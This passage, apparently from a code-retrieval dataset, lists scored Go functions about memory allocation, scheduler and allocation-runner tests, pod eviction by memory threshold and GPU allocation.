TestAllocRunner_FinishedAtSet(t *testing.T) {\n\tt.Parallel()\n\trequire := require.New(t)\n\t_, ar := testAllocRunner(t, false)\n\tar.allocClientStatus = structs.AllocClientStatusFailed\n\talloc := ar.Alloc()\n\ttaskFinishedAt := make(map[string]time.Time)\n\trequire.NotEmpty(alloc.TaskStates)\n\tfor name, s := range alloc.TaskStates {\n\t\trequire.False(s.FinishedAt.IsZero())\n\t\ttaskFinishedAt[name] = s.FinishedAt\n\t}\n\n\t// Verify that calling again should not mutate finishedAt\n\talloc2 := ar.Alloc()\n\tfor name, s := range alloc2.TaskStates {\n\t\trequire.Equal(taskFinishedAt[name], s.FinishedAt)\n\t}\n\n}", "title": "" }, { "docid": "986891d811bbe015d5948e5290f8b156", "score": "0.47169557", "text": "func TestSchedulerFailedLoadSuccessfulUnload(t *testing.T) {\n\tscheduler, cluster, shutdown := newTestScheduler(t)\n\tdefer shutdown()\n\tctx := context.Background()\n\trepo := testutil.NewInmemoryRepository(\"\")\n\tin1 := utiltest.RandomFileset(repo)\n\texpectExists(t, repo, in1)\n\tin2 := utiltest.RandomFileset(repo)\n\texpectExists(t, repo, in2)\n\n\t// Add a non-existent source to in2.\n\tin2.Map[\"file_x\"] = reflow.File{Source: fmt.Sprintf(\"%s/%s\", repo.URL(), reflow.Digester.Rand(nil))}\n\n\ttask := utiltest.NewTask(10, 10<<30, 0).WithRepo(repo)\n\ttask.Config.Args = []reflow.Arg{{Fileset: &in1}, {Fileset: &in2}}\n\n\tscheduler.Submit(task)\n\treq := <-cluster.Req()\n\tif got, want := req.Requirements, utiltest.NewRequirements(10, 10<<30, 0); !got.Equal(want) {\n\t\tt.Errorf(\"got %v, want %v\", got, want)\n\t}\n\talloc := utiltest.NewTestAlloc(reflow.Resources{\"cpu\": 25, \"mem\": 20 << 30})\n\treq.Reply <- utiltest.TestClusterAllocReply{Alloc: alloc, Err: nil}\n\n\t// We expect the task to have completed (eith task.Err set).\n\tif err := task.Wait(ctx, sched.TaskDone); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif task.Err == nil {\n\t\tt.Errorf(\"task must have failed with an error\")\n\t}\n\t// We expect that `in1` which should've been successfully loaded to no longer exist in the alloc repository.\n\texpectNotExists(t, alloc.Repository(), in1)\n}", "title": "" }, { "docid": "9a09f7d6beddae06191eb5cb73f12cd4", "score": "0.47166198", "text": "func CheckPtrAlignmentNilPtr() {\n\tvar do func(int)\n\tdo = func(n int) {\n\t\t// Inflate the stack so runtime.shrinkstack gets called during GC\n\t\tif n > 0 {\n\t\t\tdo(n - 1)\n\t\t}\n\n\t\tvar p unsafe.Pointer\n\t\t_ = (*int)(p)\n\t}\n\n\tgo func() {\n\t\tfor {\n\t\t\truntime.GC()\n\t\t}\n\t}()\n\n\tgo func() {\n\t\tfor i := 0; ; i++ {\n\t\t\tdo(i % 1024)\n\t\t}\n\t}()\n\n\ttime.Sleep(time.Second)\n}", "title": "" }, { "docid": "5d2283f511bfa6485f4fade758375f38", "score": "0.47120926", "text": "func (fg *fakeGinit) EnsureCapacity(expect *global.NMCapacity, conflictingResources []string, decreaseCap bool) {\n\tpanic(\"implement me\")\n}", "title": "" }, { "docid": "68af2780cae82dcd9b64dd9b349b7691", "score": "0.46927124", "text": "func TestUnusedFunction(t *testing.T) {\n\terrorSynthesizer := make(HeapHelper, 42)\n\tassert.Panics(t, func() { errorSynthesizer.Push(0x666) }, \"Internal function Push should panic\")\n\n}", "title": "" }, { "docid": "480b7e0f9e0b5de1bee58396cc85049b", "score": "0.46837592", "text": "func (t *MemoryAllocationUnit) Run(ctx context.Context, cmd *testexec.Cmd) error {\n\tt.Cmd = cmd\n\tstdoutPipe, err := t.Cmd.StdoutPipe()\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"failed to get allocator stdout\")\n\t}\n\tstdinPipe, err := t.Cmd.StdinPipe()\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"failed to get allocator stdin\")\n\t}\n\t// We must hold stdin to keep the process running.\n\tt.stdin = stdinPipe\n\t// call Run() to immediately notice when the process finished running\n\t// with StillAlive(). You can synchronously wait for the process by watching ch.\n\tch := make(chan error)\n\tgo func() {\n\t\tch <- t.Cmd.Run()\n\t}()\n\tt.ch = ch\n\t// Make sure the output is as expected, and wait until we are done\n\t// allocating.\n\tstdout := bufio.NewReader(stdoutPipe)\n\tif statusString, err := stdout.ReadString('\\n'); err != nil {\n\t\treturn errors.Wrap(err, \"failed to read status from the allocation unit\")\n\t} else if !strings.HasPrefix(statusString, \"allocating \") {\n\t\treturn errors.Errorf(\"failed to read status line, exptected \\\"allocating ...\\\", got %q\", statusString)\n\t}\n\tif doneString, err := stdout.ReadString('\\n'); err != nil {\n\t\treturn errors.Wrap(err, \"failed to read done from the Memory allocation unit\")\n\t} else if doneString != \"done\\n\" {\n\t\treturn errors.Errorf(\"failed to read done line, exptected \\\"done\\\\n\\\", got %q\", doneString)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "e9a01da1081bc4ec21dbdf9f8a9a36d0", "score": "0.4676329", "text": "func (c *Controller) RunOnce() error {\n\tevictionCount := 0\n\n\tpodList, err := c.clientset.CoreV1().Pods(\"\").List(meta_v1.ListOptions{\n\t\tLabelSelector: PreoomkillerPodLabelSelector,\n\t})\n\tif err != nil {\n\t\tlog.Errorf(\"PodListError for label selector %s: %s\", PreoomkillerPodLabelSelector, err)\n\t\treturn err\n\t}\n\n\tfor _, pod := range podList.Items {\n\t\tpodName, podNamespace := pod.ObjectMeta.Name, pod.ObjectMeta.Namespace\n\t\tpodMemoryThreshold, err := resource.ParseQuantity(pod.ObjectMeta.Annotations[PreoomkillerAnnotationMemoryThresholdKey])\n\t\tif err != nil {\n\t\t\tlog.WithFields(log.Fields{\n\t\t\t\t\"pod\": podName,\n\t\t\t\t\"namespace\": podNamespace,\n\t\t\t}).Errorf(\"PodMemoryThresholdFetchError: %s\", err)\n\t\t\tcontinue\n\t\t}\n\n\t\tpodLog := log.WithFields(log.Fields{\n\t\t\t\"pod\": podName,\n\t\t\t\"namespace\": podNamespace,\n\t\t\t\"memoryThreshold\": podMemoryThreshold.String(),\n\t\t})\n\n\t\tpodMemoryUsage := &resource.Quantity{}\n\n\t\tpodMetrics, err := c.metricsClientset.MetricsV1beta1().PodMetricses(podNamespace).Get(podName, meta_v1.GetOptions{})\n\t\tif err != nil {\n\t\t\tpodLog.Errorf(\"PodMetricsFetchError: %s\", err)\n\t\t\treturn err\n\t\t}\n\n\t\tfor _, containerMetrics := range podMetrics.Containers {\n\t\t\tpodMemoryUsage.Add(*containerMetrics.Usage.Memory())\n\t\t\tpodLog.Debugf(\"Container metrics for %s: %s (cpu), %s (mem)\", containerMetrics.Name, containerMetrics.Usage.Cpu().String(), containerMetrics.Usage.Memory().String())\n\t\t}\n\t\tpodLog.Debugf(\"Pod memory usage: %v\", podMemoryUsage.String())\n\t\tif podMemoryUsage.Cmp(podMemoryThreshold) == 1 {\n\t\t\t_, err := evictPod(c.clientset, podName, podNamespace, \"v1\", false)\n\t\t\tif err != nil {\n\t\t\t\tpodLog.Errorf(\"PodEvictionError: %v\", err)\n\t\t\t} else {\n\t\t\t\tevictionCount += 1\n\t\t\t\tpodLog.Infof(\"PodEvicted with memory usage: %v\", podMemoryUsage)\n\t\t\t}\n\t\t}\n\t}\n\tlog.Infof(\"%d pods evicted during this run\", evictionCount)\n\treturn nil\n}", "title": "" }, { "docid": "97902f8a8edcaf468ffaf6a89e54a617", "score": "0.46737453", "text": "func validateRequestedMemorySize(req int, drvName string) {\n\t// TODO: Fix MB vs MiB confusion\n\tsysLimit, containerLimit, err := memoryLimits(drvName)\n\tif err != nil {\n\t\tklog.Warningf(\"Unable to query memory limits: %v\", err)\n\t}\n\n\t// Detect if their system doesn't have enough memory to work with.\n\tif driver.IsKIC(drvName) && containerLimit < minUsableMem {\n\t\tif driver.IsDockerDesktop(drvName) {\n\t\t\tif runtime.GOOS == \"darwin\" {\n\t\t\t\texitIfNotForced(reason.RsrcInsufficientDarwinDockerMemory, \"Docker Desktop only has {{.size}}MiB available, less than the required {{.req}}MiB for Kubernetes\", out.V{\"size\": containerLimit, \"req\": minUsableMem, \"recommend\": \"2.25 GB\"})\n\t\t\t} else {\n\t\t\t\texitIfNotForced(reason.RsrcInsufficientWindowsDockerMemory, \"Docker Desktop only has {{.size}}MiB available, less than the required {{.req}}MiB for Kubernetes\", out.V{\"size\": containerLimit, \"req\": minUsableMem, \"recommend\": \"2.25 GB\"})\n\t\t\t}\n\t\t}\n\t\texitIfNotForced(reason.RsrcInsufficientContainerMemory, \"{{.driver}} only has {{.size}}MiB available, less than the required {{.req}}MiB for Kubernetes\", out.V{\"size\": containerLimit, \"driver\": drvName, \"req\": minUsableMem})\n\t}\n\n\tif sysLimit < minUsableMem {\n\t\texitIfNotForced(reason.RsrcInsufficientSysMemory, \"System only has {{.size}}MiB available, less than the required {{.req}}MiB for Kubernetes\", out.V{\"size\": sysLimit, \"req\": minUsableMem})\n\t}\n\n\tif req < minUsableMem {\n\t\texitIfNotForced(reason.RsrcInsufficientReqMemory, \"Requested memory allocation {{.requested}}MiB is less than the usable minimum of {{.minimum_memory}}MB\", out.V{\"requested\": req, \"minimum_memory\": minUsableMem})\n\t}\n\tif req < minRecommendedMem {\n\t\tif driver.IsDockerDesktop(drvName) {\n\t\t\tif runtime.GOOS == \"darwin\" {\n\t\t\t\tout.WarnReason(reason.RsrcInsufficientDarwinDockerMemory, \"Docker Desktop only has {{.size}}MiB available, you may encounter application deployment failures.\", out.V{\"size\": containerLimit, \"req\": minUsableMem, \"recommend\": \"2.25 GB\"})\n\t\t\t} else {\n\t\t\t\tout.WarnReason(reason.RsrcInsufficientWindowsDockerMemory, \"Docker Desktop only has {{.size}}MiB available, you may encounter application deployment failures.\", out.V{\"size\": containerLimit, \"req\": minUsableMem, \"recommend\": \"2.25 GB\"})\n\t\t\t}\n\t\t} else {\n\t\t\tout.WarnReason(reason.RsrcInsufficientReqMemory, \"Requested memory allocation ({{.requested}}MB) is less than the recommended minimum {{.recommend}}MB. Deployments may fail.\", out.V{\"requested\": req, \"recommend\": minRecommendedMem})\n\t\t}\n\t}\n\n\tadvised := suggestMemoryAllocation(sysLimit, containerLimit, viper.GetInt(nodes))\n\tif req > sysLimit {\n\t\texitIfNotForced(reason.Kind{ID: \"RSRC_OVER_ALLOC_MEM\", Advice: \"Start minikube with less memory allocated: 'minikube start --memory={{.advised}}mb'\"},\n\t\t\t`Requested memory allocation {{.requested}}MB is more than your system limit {{.system_limit}}MB.`,\n\t\t\tout.V{\"requested\": req, \"system_limit\": sysLimit, \"advised\": advised})\n\t}\n\n\t// Recommend 1GB to handle OS/VM overhead\n\tmaxAdvised := sysLimit - 1024\n\tif req > maxAdvised {\n\t\tout.WarnReason(reason.Kind{ID: \"RSRC_OVER_ALLOC_MEM\", Advice: \"Start minikube with less memory allocated: 'minikube start --memory={{.advised}}mb'\"},\n\t\t\t`The requested memory allocation of {{.requested}}MiB does not leave room for system overhead (total system memory: {{.system_limit}}MiB). You may face stability issues.`,\n\t\t\tout.V{\"requested\": req, \"system_limit\": sysLimit, \"advised\": advised})\n\t}\n}", "title": "" }, { "docid": "84e1acda5fff196b688f886267bf0f89", "score": "0.4665315", "text": "func memAvail(i int64) bool { return true }", "title": "" }, { "docid": "5d6b7a8be3af02155fc88c06f54c850f", "score": "0.465532", "text": "func TestAllocRunner_DeploymentHealth_Healthy_Checks(t *testing.T) {\n\tt.Parallel()\n\n\t// Ensure the task fails and restarts\n\tupd, ar := testAllocRunner(t, true)\n\n\t// Make the task fail\n\ttask := ar.alloc.Job.TaskGroups[0].Tasks[0]\n\ttask.Driver = \"mock_driver\"\n\ttask.Config[\"run_for\"] = \"10s\"\n\n\t// Create a task that has no checks\n\tar.alloc.Job.TaskGroups[0].Tasks = append(ar.alloc.Job.TaskGroups[0].Tasks, task.Copy())\n\ttask2 := ar.alloc.Job.TaskGroups[0].Tasks[1]\n\ttask2.Name = \"task 2\"\n\ttask2.Services = nil\n\n\t// Make the alloc be part of a deployment\n\tar.alloc.DeploymentID = uuid.Generate()\n\tar.alloc.Job.TaskGroups[0].Update = structs.DefaultUpdateStrategy.Copy()\n\tar.alloc.Job.TaskGroups[0].Update.HealthCheck = structs.UpdateStrategyHealthCheck_Checks\n\tar.alloc.Job.TaskGroups[0].Update.MaxParallel = 1\n\tar.alloc.Job.TaskGroups[0].Update.MinHealthyTime = 100 * time.Millisecond\n\n\tcheckHealthy := &api.AgentCheck{\n\t\tCheckID: uuid.Generate(),\n\t\tStatus: api.HealthPassing,\n\t}\n\tcheckUnhealthy := &api.AgentCheck{\n\t\tCheckID: checkHealthy.CheckID,\n\t\tStatus: api.HealthWarning,\n\t}\n\n\t// Only return the check as healthy after a duration\n\ttrigger := time.After(500 * time.Millisecond)\n\tar.consulClient.(*mockConsulServiceClient).allocRegistrationsFn = func(allocID string) (*consul.AllocRegistration, error) {\n\t\tselect {\n\t\tcase <-trigger:\n\t\t\treturn &consul.AllocRegistration{\n\t\t\t\tTasks: map[string]*consul.TaskRegistration{\n\t\t\t\t\ttask.Name: {\n\t\t\t\t\t\tServices: map[string]*consul.ServiceRegistration{\n\t\t\t\t\t\t\t\"123\": {\n\t\t\t\t\t\t\t\tService: &api.AgentService{Service: \"foo\"},\n\t\t\t\t\t\t\t\tChecks: []*api.AgentCheck{checkHealthy},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}, nil\n\t\tdefault:\n\t\t\treturn &consul.AllocRegistration{\n\t\t\t\tTasks: map[string]*consul.TaskRegistration{\n\t\t\t\t\ttask.Name: {\n\t\t\t\t\t\tServices: map[string]*consul.ServiceRegistration{\n\t\t\t\t\t\t\t\"123\": {\n\t\t\t\t\t\t\t\tService: &api.AgentService{Service: \"foo\"},\n\t\t\t\t\t\t\t\tChecks: []*api.AgentCheck{checkUnhealthy},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}, nil\n\t\t}\n\t}\n\n\tstart := time.Now()\n\tgo ar.Run()\n\tdefer ar.Destroy()\n\n\ttestutil.WaitForResult(func() (bool, error) {\n\t\tlast := upd.Last()\n\t\tif last == nil {\n\t\t\treturn false, fmt.Errorf(\"No updates\")\n\t\t}\n\t\tif !last.DeploymentStatus.HasHealth() {\n\t\t\treturn false, fmt.Errorf(\"want deployment status unhealthy; got unset\")\n\t\t} else if !*last.DeploymentStatus.Healthy {\n\t\t\treturn false, fmt.Errorf(\"want deployment status healthy; got unhealthy\")\n\t\t}\n\t\treturn true, nil\n\t}, func(err error) {\n\t\tt.Fatalf(\"err: %v\", err)\n\t})\n\n\tif d := time.Now().Sub(start); d < 500*time.Millisecond {\n\t\tt.Fatalf(\"didn't wait for second task group. Only took %v\", d)\n\t}\n}", "title": "" }, { "docid": "cdd5abfadeb18b294c9fb086714613d6", "score": "0.46532774", "text": "func (f *MemoryFile) runReclaim() {\n\tfor {\n\t\t// N.B. We must call f.markReclaimed on the returned FrameRange.\n\t\tfr, ok := f.findReclaimable()\n\t\tif !ok {\n\t\t\tbreak\n\t\t}\n\n\t\tif f.opts.ManualZeroing {\n\t\t\t// If ManualZeroing is in effect, only hugepage-aligned regions may\n\t\t\t// be safely passed to decommitFile. Pages will be zeroed on\n\t\t\t// reallocation, so we don't need to perform any manual zeroing\n\t\t\t// here, whether or not decommitFile succeeds.\n\t\t\tif startAddr, ok := hostarch.Addr(fr.Start).HugeRoundUp(); ok {\n\t\t\t\tif endAddr := hostarch.Addr(fr.End).HugeRoundDown(); startAddr < endAddr {\n\t\t\t\t\tdecommitFR := memmap.FileRange{uint64(startAddr), uint64(endAddr)}\n\t\t\t\t\tif err := f.decommitFile(decommitFR); err != nil {\n\t\t\t\t\t\tlog.Warningf(\"Reclaim failed to decommit %v: %v\", decommitFR, err)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tif err := f.decommitFile(fr); err != nil {\n\t\t\t\tlog.Warningf(\"Reclaim failed to decommit %v: %v\", fr, err)\n\t\t\t\t// Zero the pages manually. This won't reduce memory usage, but at\n\t\t\t\t// least ensures that the pages will be zero when reallocated.\n\t\t\t\tif err := f.manuallyZero(fr); err != nil {\n\t\t\t\t\tpanic(fmt.Sprintf(\"Reclaim failed to decommit or zero %v: %v\", fr, err))\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tf.markDecommitted(fr)\n\t\tf.markReclaimed(fr)\n\t}\n\n\t// We only get here if findReclaimable finds f.destroyed set and returns\n\t// false.\n\tf.mu.Lock()\n\tif !f.destroyed {\n\t\tf.mu.Unlock()\n\t\tpanic(\"findReclaimable broke out of reclaim loop, but destroyed is no longer set\")\n\t}\n\tif f.opts.DecommitOnDestroy && f.fileSize > 0 {\n\t\tif err := f.decommitFile(memmap.FileRange{Start: 0, End: uint64(f.fileSize)}); err != nil {\n\t\t\tf.mu.Unlock()\n\t\t\tpanic(fmt.Sprintf(\"failed to decommit entire memory file during destruction: %v\", err))\n\t\t}\n\t}\n\tf.file.Close()\n\t// Ensure that any attempts to use f.file.Fd() fail instead of getting a fd\n\t// that has possibly been reassigned.\n\tf.file = nil\n\tf.mappingsMu.Lock()\n\tdefer f.mappingsMu.Unlock()\n\tmappings := f.mappings.Load().([]uintptr)\n\tfor i, m := range mappings {\n\t\tif m != 0 {\n\t\t\t_, _, errno := unix.Syscall(unix.SYS_MUNMAP, m, chunkSize, 0)\n\t\t\tif errno != 0 {\n\t\t\t\tlog.Warningf(\"Failed to unmap mapping %#x for MemoryFile chunk %d: %v\", m, i, errno)\n\t\t\t}\n\t\t}\n\t}\n\t// Similarly, invalidate f.mappings. (atomic.Value.Store(nil) panics.)\n\tf.mappings.Store([]uintptr{})\n\tf.mu.Unlock()\n\n\t// This must be called without holding f.mu to avoid circular lock\n\t// ordering.\n\tif f.stopNotifyPressure != nil {\n\t\tf.stopNotifyPressure()\n\t}\n}", "title": "" }, { "docid": "b7f103897fbbaccc301fce91db5b6f80", "score": "0.46515572", "text": "func TestAllocRunner_DeploymentHealth_Healthy_NoChecks(t *testing.T) {\n\tt.Parallel()\n\n\t// Ensure the task fails and restarts\n\tupd, ar := testAllocRunner(t, true)\n\n\t// Make the task run healthy\n\ttask := ar.alloc.Job.TaskGroups[0].Tasks[0]\n\ttask.Driver = \"mock_driver\"\n\ttask.Config[\"run_for\"] = \"10s\"\n\n\t// Create a task that takes longer to become healthy\n\tar.alloc.Job.TaskGroups[0].Tasks = append(ar.alloc.Job.TaskGroups[0].Tasks, task.Copy())\n\ttask2 := ar.alloc.Job.TaskGroups[0].Tasks[1]\n\ttask2.Name = \"task 2\"\n\ttask2.Config[\"start_block_for\"] = \"500ms\"\n\n\t// Make the alloc be part of a deployment\n\tar.alloc.DeploymentID = uuid.Generate()\n\tar.alloc.Job.TaskGroups[0].Update = structs.DefaultUpdateStrategy.Copy()\n\tar.alloc.Job.TaskGroups[0].Update.HealthCheck = structs.UpdateStrategyHealthCheck_TaskStates\n\tar.alloc.Job.TaskGroups[0].Update.MaxParallel = 1\n\tar.alloc.Job.TaskGroups[0].Update.MinHealthyTime = 100 * time.Millisecond\n\n\tstart := time.Now()\n\tgo ar.Run()\n\tdefer ar.Destroy()\n\n\ttestutil.WaitForResult(func() (bool, error) {\n\t\tlast := upd.Last()\n\t\tif last == nil {\n\t\t\treturn false, fmt.Errorf(\"No updates\")\n\t\t}\n\t\tif !last.DeploymentStatus.HasHealth() {\n\t\t\treturn false, fmt.Errorf(\"want deployment status unhealthy; got unset\")\n\t\t} else if !*last.DeploymentStatus.Healthy {\n\t\t\treturn false, fmt.Errorf(\"want deployment status healthy; got unhealthy\")\n\t\t}\n\t\treturn true, nil\n\t}, func(err error) {\n\t\tt.Fatalf(\"err: %v\", err)\n\t})\n\tif d := time.Now().Sub(start); d < 500*time.Millisecond {\n\t\tt.Fatalf(\"didn't wait for second task group. Only took %v\", d)\n\t}\n}", "title": "" }, { "docid": "7127dad6424761a59a7f50e3bd79c645", "score": "0.46439022", "text": "func TestLostTasksSwitchAllocs(t *testing.T) {\n\toldWait, oldTimeout := pool.KeepaliveRetryInitialWaitInterval, pool.KeepaliveTimeout\n\toldPolicy := pool.KeepaliveRetryPolicy\n\tpool.KeepaliveRetryInitialWaitInterval = 50 * time.Millisecond\n\tpool.KeepaliveTimeout = 50 * time.Millisecond\n\tpool.KeepaliveRetryPolicy = retry.Jitter(retry.MaxRetries(retry.Backoff(50*time.Millisecond, 200*time.Millisecond, 1.5), 3), 0.2)\n\tdefer func() {\n\t\tpool.KeepaliveRetryInitialWaitInterval = oldWait\n\t\tpool.KeepaliveTimeout = oldTimeout\n\t\tpool.KeepaliveRetryPolicy = oldPolicy\n\t}()\n\tallocFatal := errors.E(\"fatal alloc failure\", errors.Fatal)\n\tallocCancel := errors.E(\"alloc cancelled\", errors.Canceled)\n\ttaskNet := errors.E(\"network error\", errors.Net)\n\ttaskCancel := errors.E(\"task cancelled\", errors.Canceled)\n\ttests := []struct {\n\t\tallocErr, taskErr error\n\t}{\n\t\t{allocFatal, nil},\n\t\t{allocCancel, nil},\n\t\t{errors.New(\"some error\"), nil},\n\t\t{nil, taskNet},\n\t\t{nil, taskCancel},\n\t}\n\tfor _, tt := range tests {\n\t\tscheduler, cluster, shutdown := newTestScheduler(t)\n\t\trepo := testutil.NewInmemoryRepository(\"\")\n\t\ttasks := []*sched.Task{utiltest.NewTask(1, 1, 0).WithRepo(repo)}\n\t\tscheduler.Submit(tasks...)\n\t\tallocs := []*utiltest.TestAlloc{\n\t\t\tutiltest.NewTestAlloc(reflow.Resources{\"cpu\": 2, \"mem\": 2}),\n\t\t\tutiltest.NewTestAlloc(reflow.Resources{\"cpu\": 2, \"mem\": 2}),\n\t\t}\n\t\treq := <-cluster.Req()\n\t\treq.Reply <- utiltest.TestClusterAllocReply{Alloc: allocs[0]}\n\t\tctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)\n\t\t// Wait for the task to stage, so we know it started processing.\n\t\tif err := tasks[0].Wait(ctx, sched.TaskStaging); err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\t\tcancel()\n\t\texec := allocs[0].Exec(digest.Digest(tasks[0].ID()))\n\t\tswitch {\n\t\tcase tt.allocErr != nil:\n\t\t\t// Let the alloc's keepalive fail with an error in a bit.\n\t\t\tallocs[0].Error(tt.allocErr)\n\t\tcase tt.taskErr != nil:\n\t\t\t// Fail the task\n\t\t\texec.Complete(reflow.Result{}, tt.taskErr)\n\t\tdefault:\n\t\t\tpanic(\"either allocErr or taskErr must be non-nil\")\n\t\t}\n\t\t// The task should be considered lost and then re-initialized resulting\n\t\t// in another cluster allocation request.\n\t\treq = <-cluster.Req()\n\t\tif got, want := tasks[0].State(), sched.TaskInit; got != want {\n\t\t\tt.Errorf(\"got %v, want %v\", got, want)\n\t\t}\n\t\treq.Reply <- utiltest.TestClusterAllocReply{Alloc: allocs[1]}\n\t\tallocs[1].Exec(digest.Digest(tasks[0].ID())).Complete(reflow.Result{}, nil)\n\t\tctx, cancel = context.WithTimeout(context.Background(), 10*time.Second)\n\t\tif err := tasks[0].Wait(ctx, sched.TaskDone); err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\t\tcancel()\n\t\tshutdown()\n\t}\n}", "title": "" }, { "docid": "db03613f8b2c7fc60d3dfb09511524e1", "score": "0.46412063", "text": "func (blk *DBlock) New() (rpos int64, err error) {\n\tblk.allocateMutex.Lock()\n\tdefer blk.allocateMutex.Unlock()\n\n\tnextRecordChan := make(chan float64)\n\terrorChan := make(chan error)\n\n\t// start allocation if needed, and do it inside a goroutine\n\tgo func() {\n\t\terr := blk.preallocateIfNeeded()\n\t\terrorChan <- err\n\t}()\n\n\t// it's possible to have state where there is no room for a record\n\t// in this case, we need to wait until the allocation process in complete\n\t// but allocation happens after this function exits\n\t// (since it's running inside go routine)\n\t// that's why we need to run our logic also within a goroutine\n\tgo func() {\n\t\ttotalRecords := blk.totalRecords()\n\t\tnextRecord := blk.metadata.Get(MetadataRecordCount)\n\n\t\tif nextRecord > totalRecords {\n\t\t\t// wait until allocation\n\t\t\terr := <-errorChan\n\n\t\t\tblk.preallocMutex.Lock()\n\t\t\tnewTotalRecords := blk.totalRecords()\n\t\t\tblk.preallocMutex.Unlock()\n\n\t\t\tif nextRecord > newTotalRecords {\n\t\t\t\t// seems like allocation failed (since there is not new records)\n\t\t\t\tnextRecordChan <- -1\n\t\t\t\terrorChan <- err\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\tnextRecordChan <- nextRecord\n\t}()\n\n\t// get the nextRecord from the above goroutine\n\tnextRecord := <-nextRecordChan\n\terr = <-errorChan\n\n\tif nextRecord == -1 {\n\t\t// seems like allocation failed\n\t\tif err == nil {\n\t\t\terr = ErrAllocRecord\n\t\t}\n\n\t\treturn 0, err\n\t}\n\n\t// update metadata and then unlock\n\tblk.metadata.Set(MetadataRecordCount, nextRecord+1)\n\trpos = int64(nextRecord)\n\n\treturn rpos, nil\n}", "title": "" }, { "docid": "12d72c9397161c2df941333c44d5312c", "score": "0.4633494", "text": "func (allocator *gpuTracker) AllocGPU(maxGPU uint, maxGPUMem uint64, units []int, cardCount int, live bool) (alloc GPUAllocations, err kv.Error) {\n\n\talloc = GPUAllocations{}\n\n\tif maxGPU == 0 && maxGPUMem == 0 {\n\t\treturn alloc, nil\n\t}\n\n\t// Sort the user supplied slots so that we can select from the range of slots\n\t// on the card so that we dont take cards that are too excessive for smaller jobs\n\t// etc\n\tsort.Slice(units, func(i, j int) bool { return units[i] < units[j] })\n\n\t// Start building logging style information to be used in the\n\t// event of a real error\n\tkvDetails := []interface{}{\"maxGPU\", maxGPU, \"\", humanize.Bytes(maxGPUMem)}\n\tkvDetails = append(kvDetails, []interface{}{\"allocs\", allocator.Debug()}...)\n\n\t// Now we lock after doing initialization of the functions own variables\n\tallocator.Lock()\n\tdefer allocator.Unlock()\n\n\t// Add a structure that will be used later to order our UUIDs\n\t// by the number of slots they have\n\ttype SlotsByUUID struct {\n\t\tuuid string\n\t\tslots uint\n\t\tmem uint64\n\t}\n\tslotsByUUID := make([]SlotsByUUID, 0, len(allocator.Allocs))\n\n\t// Take any unallocated cards that have the exact number of slots that we have\n\t// in our permitted units and use those, but exclude cards with\n\t// ECC errors\n\tusableAllocs := make(map[string]*GPUTrack, len(allocator.Allocs))\n\tfor k, v := range allocator.Allocs {\n\n\t\t// Card is busy and in use\n\t\tif v.Allocated {\n\t\t\tcontinue\n\t\t}\n\n\t\t// Cannot use this cards it is broken\n\t\tif v.EccFailure != nil {\n\t\t\tcontinue\n\t\t}\n\t\t// Check memory\n\t\tif v.Mem < maxGPUMem && maxGPUMem != 0 {\n\t\t\tfmt.Println(\"NOT ENOUGH MEM:\", v.Mem, \"request: \", maxGPUMem)\n\t\t\tcontinue\n\t\t}\n\n\t\t// Make sure the units contains the value of the valid range of slots\n\t\t// acceptable to the caller\n\t\tpos := sort.SearchInts(units, int(v.Slots))\n\t\tif pos < len(units) && int(v.Slots) == units[pos] {\n\t\t\tusableAllocs[k] = v\n\t\t\tslotsByUUID = append(slotsByUUID, SlotsByUUID{uuid: v.UUID, slots: v.Slots, mem: v.Mem})\n\t\t} else {\n\t\t\tfmt.Println(\"NO SLOTS:\", v.Slots, \"units: \", units)\n\t\t}\n\t}\n\n\tif len(slotsByUUID) < cardCount {\n\t\tfmt.Println(\"NO GPUs:\", len(slotsByUUID), \"request: \", cardCount)\n\t\treturn nil, kv.NewError(\"insufficient free GPUs\").With(kvDetails...)\n\t}\n\n\t// Take the permitted cards and sort their UUIDs in order of the\n\t// smallest number of slots first\n\tsort.Slice(slotsByUUID, func(i, j int) bool {\n\t\tif slotsByUUID[i].slots > slotsByUUID[j].slots {\n\t\t\treturn false\n\t\t}\n\n\t\treturn slotsByUUID[i].uuid < slotsByUUID[j].uuid\n\t})\n\n\tkvDetails = append(kvDetails, []interface{}{\"slots\", slotsByUUID})\n\n\tslotsByUUID = slotsByUUID[:cardCount]\n\n\t// Got as far as knowing the allocation will work so check for the live flag\n\tif !live {\n\t\treturn nil, nil\n\t}\n\n\t// Go through the chosen combination of cards and do the allocations\n\t//\n\tfor _, detail := range slotsByUUID {\n\t\tallocator.Allocs[detail.uuid].Allocated = true\n\n\t\ttracking := xid.New().String()\n\t\talloc = append(alloc, &GPUAllocated{\n\t\t\ttracking: tracking,\n\t\t\tuuid: detail.uuid,\n\t\t\tSlots: detail.slots,\n\t\t\tMem: detail.mem,\n\t\t\tEnv: map[string]string{\n\t\t\t\t\"NVIDIA_VISIBLE_DEVICES\": detail.uuid,\n\t\t\t\t\"CUDA_VISIBLE_DEVICES\": detail.uuid,\n\t\t\t},\n\t\t})\n\t\tallocator.Allocs[detail.uuid].Tracking[tracking] = struct{}{}\n\t}\n\n\treturn alloc, nil\n}", "title": "" }, { "docid": "51b637e3604dea002d1e21851a5d2778", "score": "0.4633149", "text": "func _232sqlite3Realloc(tls *crt.TLS, _pOld uintptr /* uintptr */, _nBytes Tu64) (r uintptr) {\n\tvar (\n\t\t_nOld int32\n\t\t_nNew int32\n\t\t_nDiff int32\n\t\t_pNew uintptr // uintptr\n\t)\n\n\tif _pOld != 0 {\n\t\tgoto _1\n\t}\n\n\treturn _200sqlite3Malloc(tls, _nBytes)\n\n_1:\n\tif _nBytes != Tu64(0) {\n\t\tgoto _2\n\t}\n\n\tXsqlite3_free(tls, _pOld)\n\treturn null\n\n_2:\n\tif _nBytes < Tu64(0x7fffff00) {\n\t\tgoto 